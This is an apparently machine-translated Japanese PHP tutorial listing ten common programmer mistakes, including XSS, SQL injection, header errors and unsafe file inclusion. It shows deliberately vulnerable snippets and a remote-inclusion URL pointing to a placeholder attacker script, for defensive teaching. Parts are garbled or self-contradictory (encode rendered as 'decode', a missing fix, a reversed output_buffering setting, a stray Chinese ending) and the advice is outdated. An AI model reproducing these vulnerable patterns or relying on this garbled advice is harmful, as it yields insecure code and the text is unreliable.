ホームページ >バックエンド開発 >PHPチュートリアル >PHP プログラマーが犯しやすい間違いの概要_PHP チュートリアル
1. HTML エンティティを復号化しない
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に復号化する必要があります。
echo $_GET['usename'] ;
この例は次のように出力する可能性があります:
<script>/*管理者パスワードを変更するスクリプト、または Cookie を設定するスクリプト*/</script>
これは明らかなセキュリティ リスクです。ユーザーが正しく入力していることを確認してください。
修正方法:
「<」、「>」、「and」などを正しい HTML 表現 (<、>'、および ") に変換する必要があります。関数 htmlspecialchars および htmlentities() は、まさにこれです。
正しい方法:
echo htmlspecialchars($_GET['username'], ENT_QUOTES);
2. SQL 入力を無視しないでください
記事内の SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) ) この問題について議論し、簡単な方法を教えてくれた人が、すでに php.ini で magic_quotes を On に設定しているので、この問題について心配する必要はないが、すべての入力が $_GET、$ から来ているわけではない、と私に言いました。 _POST または $_COOKIE!
修正方法:
SQL インジェクションを防ぐ最も簡単な方法 (php+mysql) と同じですが、やはり mysql_real_escape_string() 関数を使用することをお勧めします
正しいアプローチ:
<ol class="dp-xml"><li class="alt"> <span><strong><font color="#006699"><span class="tag"><?</SPAN><SPAN class=tag-name>php</SPAN></FONT></STRONG><SPAN> </SPAN></SPAN><LI class=""><SPAN>$</SPAN><SPAN class=attribute><FONT color=#ff0000>sql</FONT></SPAN><SPAN> = "UPDATE users SET </SPAN></SPAN><LI class=alt><SPAN></SPAN><SPAN class=attribute><FONT color=#ff0000>name</FONT></SPAN><SPAN>=</SPAN><SPAN class=attribute-value><FONT color=#0000ff>'.mysql_real_escape_string($name).'</FONT></SPAN><SPAN> </SPAN></SPAN><LI class=""><SPAN>WHERE </SPAN><SPAN class=attribute><FONT color=#ff0000>id</FONT></SPAN><SPAN>=</SPAN><SPAN class=attribute-value><FONT color=#0000ff>'.mysql_real_escape_string ($id).'</FONT></SPAN><SPAN>"; </SPAN></SPAN><LI class=alt><SPAN>mysql_query($sql); </SPAN><LI class=""><SPAN></SPAN><SPAN class=tag><STRONG><FONT color=#006699>?></span></font></strong></span><span> </span> </li></ol>
3 HTTP ヘッダー関連関数の誤った使用: header()、session_start()、setcookie()
「警告: ヘッダー情報を追加できません - ヘッダーはすでに送信されました [....]
すべて」 Web ページがサーバーからダウンロードされると、サーバーの出力はヘッダーと本文の 2 つの部分に分割されます。
ヘッダーには Cookie などの非視覚データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。
output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...
修正方法:
出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください。
4. ファイルに安全でないデータを使用することを要求するか、含めます
もう一度言いますが、自分で明示的に宣言していないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:
<ol class="dp-xml"> <li class="alt"><span><span>index.php </span></span></li> <li class=""> <span></span><span class="tag"><?</SPAN><SPAN> </SPAN></SPAN><LI class=alt><SPAN>//including header, config, database connection, etc </SPAN><LI class=""><SPAN>include($_GET['filename']); </SPAN><LI class=alt><SPAN>//including footer </SPAN><LI class=""><SPAN></SPAN><SPAN class=tag>?></span><span> </span> </li> </ol>
これで、ハッカーは http://www.yourdomain.com/index.php?filename=anyfile.txt
を使用して機密情報を取得したり、PHP スクリプトを実行したりできるようになります。
allow_url_fopen=On の場合、あなたは死んでいます:
次の入力を試してください:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
これで Web ページが完成しましたhttp://www.youaredoomed.com/phphack.php の出力が含まれています。ハッカーはスパムの送信、パスワードの変更、ファイルの削除などを行うことができます。想像できるものなら何でも。
修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。
これは簡単ではありますが、包括的な解決策ではありません:
5. 文法エラー
文法エラーには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法エラーが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向の使用がほとんど、またはまったくない
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しないでください
PHP プロジェクトの 95% は、作成、編集、リスト、削除という同じ 4 つのことを実行しています。これら 4 つのことを実行するのに役立つ MVC フレームワークがたくさんあります。どこにいるの?
8. PHP にすでにある関数がわからない
PHP のコアには多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前にGoogleでPHP mamualと検索してみると新しい発見があるかも知れません! PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd()
9 を使用することができます。 古いバージョンの PHP を使用する
PHP4 での開発は依然として PHP4 を使用しており、PHP の可能性を十分に活用できず、セキュリティ上のリスクが依然として存在します。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% だけが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています。
10. 引用符を 2 回変更してください
Web ページを参照してください。 ' または '" in ? これは通常、開発者の環境では magic_quotes が off に設定されているためですが、デプロイされたサーバーでは magic_quotes =on になっているためです。PHP は GET、POST、COOKIE のデータに対して addslashes() を繰り返し実行します。
原文:
<ol class="dp-xml"> <li class="alt"><span><span>It's a string </span></span></li> <li class=""><span>magic quotes on : </span></li> <li class="alt"><span>It's a string </span></li> <li class=""><span>又运行一次 </span></li> <li class="alt"><span>addslashes(): </span></li> <li class=""><span>It\'s a string </span></li> <li class="alt"><span>HTML输出: </span></li> <li class=""><span>It's a string </span></li> </ol>
还有一种PHP程序员最容易出现错误的情况就是,用户一开始输入了错误的登录信息,服务器检测到错误输入后,输出同样的form要求用户再次输入,导致用户的输入转意两次!